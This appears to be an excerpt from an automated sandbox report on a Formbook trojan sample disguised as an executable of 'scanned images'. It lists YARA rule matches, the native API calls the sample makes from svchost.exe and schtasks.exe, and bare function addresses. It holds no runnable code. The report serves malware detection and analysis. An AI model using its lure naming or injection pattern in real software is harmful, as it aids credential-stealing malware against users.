Source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: This is a third-party compiled AutoIt script.	0_2_00A23B4C
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000000.1317050979.0000000000AD5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2b2a3461-1
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe, 00000000.00000000.1317050979.0000000000AD5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_73664728-8
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a5cb8ffd-e
Source: Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_868f469c-9

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0214B293 NtClose,	2_2_0214B293
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B60 NtClose,LdrInitializeThunk,	2_2_02D72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_02D72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D735C0 NtCreateMutant,LdrInitializeThunk,	2_2_02D735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D74340 NtSetContextThread,	2_2_02D74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D74650 NtSuspendThread,	2_2_02D74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72AD0 NtReadFile,	2_2_02D72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72AF0 NtWriteFile,	2_2_02D72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72AB0 NtWaitForSingleObject,	2_2_02D72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72BF0 NtAllocateVirtualMemory,	2_2_02D72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72BE0 NtQueryValueKey,	2_2_02D72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B80 NtQueryInformationFile,	2_2_02D72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72BA0 NtEnumerateValueKey,	2_2_02D72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72EE0 NtQueueApcThread,	2_2_02D72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72E80 NtReadVirtualMemory,	2_2_02D72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72EA0 NtAdjustPrivilegesToken,	2_2_02D72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72E30 NtWriteVirtualMemory,	2_2_02D72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72FE0 NtCreateFile,	2_2_02D72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72F90 NtProtectVirtualMemory,	2_2_02D72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72FB0 NtResumeThread,	2_2_02D72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72FA0 NtQuerySection,	2_2_02D72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72F60 NtCreateProcessEx,	2_2_02D72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72F30 NtCreateSection,	2_2_02D72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72CC0 NtQueryVirtualMemory,	2_2_02D72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72CF0 NtOpenProcess,	2_2_02D72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72CA0 NtQueryInformationToken,	2_2_02D72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C70 NtFreeVirtualMemory,	2_2_02D72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C60 NtCreateKey,	2_2_02D72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C00 NtQueryInformationProcess,	2_2_02D72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72DD0 NtDelayExecution,	2_2_02D72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72DB0 NtEnumerateKey,	2_2_02D72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72D10 NtMapViewOfSection,	2_2_02D72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72D00 NtSetInformationFile,	2_2_02D72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72D30 NtUnmapViewOfSection,	2_2_02D72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D73090 NtSetValueKey,	2_2_02D73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D73010 NtOpenDirectoryObject,	2_2_02D73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D739B0 NtGetContextThread,	2_2_02D739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D73D70 NtOpenThread,	2_2_02D73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D73D10 NtOpenProcessToken,	2_2_02D73D10
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF4340 NtSetContextThread,LdrInitializeThunk,	9_2_02EF4340
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF4650 NtSuspendThread,LdrInitializeThunk,	9_2_02EF4650
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2AF0 NtWriteFile,LdrInitializeThunk,	9_2_02EF2AF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2AD0 NtReadFile,LdrInitializeThunk,	9_2_02EF2AD0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2B60 NtClose,LdrInitializeThunk,	9_2_02EF2B60
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2EE0 NtQueueApcThread,LdrInitializeThunk,	9_2_02EF2EE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2FE0 NtCreateFile,LdrInitializeThunk,	9_2_02EF2FE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2FB0 NtResumeThread,LdrInitializeThunk,	9_2_02EF2FB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2F30 NtCreateSection,LdrInitializeThunk,	9_2_02EF2F30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2CA0 NtQueryInformationToken,LdrInitializeThunk,	9_2_02EF2CA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2C60 NtCreateKey,LdrInitializeThunk,	9_2_02EF2C60
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_02EF2C70
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_02EF2DF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2DD0 NtDelayExecution,LdrInitializeThunk,	9_2_02EF2DD0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2D30 NtUnmapViewOfSection,LdrInitializeThunk,	9_2_02EF2D30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2D10 NtMapViewOfSection,LdrInitializeThunk,	9_2_02EF2D10
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF35C0 NtCreateMutant,LdrInitializeThunk,	9_2_02EF35C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF39B0 NtGetContextThread,LdrInitializeThunk,	9_2_02EF39B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2AB0 NtWaitForSingleObject,	9_2_02EF2AB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2BE0 NtQueryValueKey,	9_2_02EF2BE0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2BF0 NtAllocateVirtualMemory,	9_2_02EF2BF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2BA0 NtEnumerateValueKey,	9_2_02EF2BA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2B80 NtQueryInformationFile,	9_2_02EF2B80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2EA0 NtAdjustPrivilegesToken,	9_2_02EF2EA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2E80 NtReadVirtualMemory,	9_2_02EF2E80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2E30 NtWriteVirtualMemory,	9_2_02EF2E30
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2FA0 NtQuerySection,	9_2_02EF2FA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2F90 NtProtectVirtualMemory,	9_2_02EF2F90
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2F60 NtCreateProcessEx,	9_2_02EF2F60
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2CF0 NtOpenProcess,	9_2_02EF2CF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2CC0 NtQueryVirtualMemory,	9_2_02EF2CC0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2C00 NtQueryInformationProcess,	9_2_02EF2C00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2DB0 NtEnumerateKey,	9_2_02EF2DB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF2D00 NtSetInformationFile,	9_2_02EF2D00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF3090 NtSetValueKey,	9_2_02EF3090
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF3010 NtOpenDirectoryObject,	9_2_02EF3010
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF3D70 NtOpenThread,	9_2_02EF3D70
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_02EF3D10 NtOpenProcessToken,	9_2_02EF3D10
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026D7AA0 NtReadFile,	9_2_026D7AA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026D7B90 NtDeleteFile,	9_2_026D7B90
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026D7940 NtCreateFile,	9_2_026D7940
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 9_2_026D7C30 NtClose,	9_2_026D7C30

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A840B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00A840B1

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A78858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00A78858

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe

Code function: 0_2_00A8545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00A8545F

Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A2E800	0_2_00A2E800
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4DBB5	0_2_00A4DBB5
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A2E060	0_2_00A2E060
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00AA804A	0_2_00AA804A
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A34140	0_2_00A34140
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A42405	0_2_00A42405
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A56522	0_2_00A56522
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00AA0665	0_2_00AA0665
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A5267E	0_2_00A5267E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4283A	0_2_00A4283A
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A36843	0_2_00A36843
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A589DF	0_2_00A589DF
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A56A94	0_2_00A56A94
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00AA0AE2	0_2_00AA0AE2
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A38A0E	0_2_00A38A0E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A7EB07	0_2_00A7EB07
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A88B13	0_2_00A88B13
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4CD61	0_2_00A4CD61
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A57006	0_2_00A57006
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A33190	0_2_00A33190
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A3710E	0_2_00A3710E
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A21287	0_2_00A21287
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A433C7	0_2_00A433C7
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4F419	0_2_00A4F419
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A35680	0_2_00A35680
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A416C4	0_2_00A416C4
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A358C0	0_2_00A358C0
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A478D3	0_2_00A478D3
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A41BB8	0_2_00A41BB8
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A59D05	0_2_00A59D05
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A2FE40	0_2_00A2FE40
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A4BFE6	0_2_00A4BFE6
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_00A41FD0	0_2_00A41FD0
Source: C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe	Code function: 0_2_01693600	0_2_01693600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02122A50	2_2_02122A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02122A49	2_2_02122A49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021233E0	2_2_021233E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0212109D	2_2_0212109D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021210A0	2_2_021210A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021300E3	2_2_021300E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0212E163	2_2_0212E163
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02122EB0	2_2_02122EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0212FEBB	2_2_0212FEBB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0212FEC3	2_2_0212FEC3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0214D6E3	2_2_0214D6E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021367D3	2_2_021367D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021227D0	2_2_021227D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021367CE	2_2_021367CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC02C0	2_2_02DC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0274	2_2_02DE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E003E6	2_2_02E003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E3F0	2_2_02D4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA352	2_2_02DFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD2000	2_2_02DD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF81CC	2_2_02DF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E001AA	2_2_02E001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF41A2	2_2_02DF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DC8158	2_2_02DC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDA118	2_2_02DDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30100	2_2_02D30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5C6E0	2_2_02D5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3C7C0	2_2_02D3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D64750	2_2_02D64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40770	2_2_02D40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEE4F6	2_2_02DEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF2446	2_2_02DF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE4420	2_2_02DE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E00591	2_2_02E00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40535	2_2_02D40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3EA80	2_2_02D3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF6BD7	2_2_02DF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFAB40	2_2_02DFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D6E8F0	2_2_02D6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D268B8	2_2_02D268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4A840	2_2_02D4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D42840	2_2_02D42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0A9A6	2_2_02E0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D429A0	2_2_02D429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D56962	2_2_02D56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFEEDB	2_2_02DFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52E90	2_2_02D52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFCE93	2_2_02DFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40E59	2_2_02D40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFEE26	2_2_02DFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D32FC8	2_2_02D32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4CFE0	2_2_02D4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DBEFA0	2_2_02DBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB4F40	2_2_02DB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60F30	2_2_02D60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE2F30	2_2_02DE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D82F28	2_2_02D82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30CF2	2_2_02D30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0CB5	2_2_02DE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40C00	2_2_02D40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3ADE0	2_2_02D3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D58DBF	2_2_02D58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDCD1F	2_2_02DDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4AD00	2_2_02D4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B2C0	2_2_02D5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE12ED	2_2_02DE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D452A0	2_2_02D452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D8739A	2_2_02D8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D34C	2_2_02D2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF132D	2_2_02DF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEF0CC	2_2_02DEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D470C0	2_2_02D470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF70E9	2_2_02DF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF0E0	2_2_02DFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4B1B0	2_2_02D4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0B16B	2_2_02E0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F172	2_2_02D2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D7516C	2_2_02D7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF16CC	2_2_02DF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D85630	2_2_02D85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF7B0	2_2_02DFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31460	2_2_02D31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF43F	2_2_02DFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E095C3	2_2_02E095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDD5B0	2_2_02DDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF7571	2_2_02DF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEDAC6	2_2_02DEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDDAAC	2_2_02DDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D85AA0	2_2_02D85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE1AA3	2_2_02DE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFA49	2_2_02DFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF7A46	2_2_02DF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB3A6C	2_2_02DB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB5BF0	2_2_02DB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D7DBF9	2_2_02D7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5FB80	2_2_02D5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFB76	2_2_02DFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D438E0	2_2_02D438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DAD800	2_2_02DAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D49950	2_2_02D49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B950	2_2_02D5B950
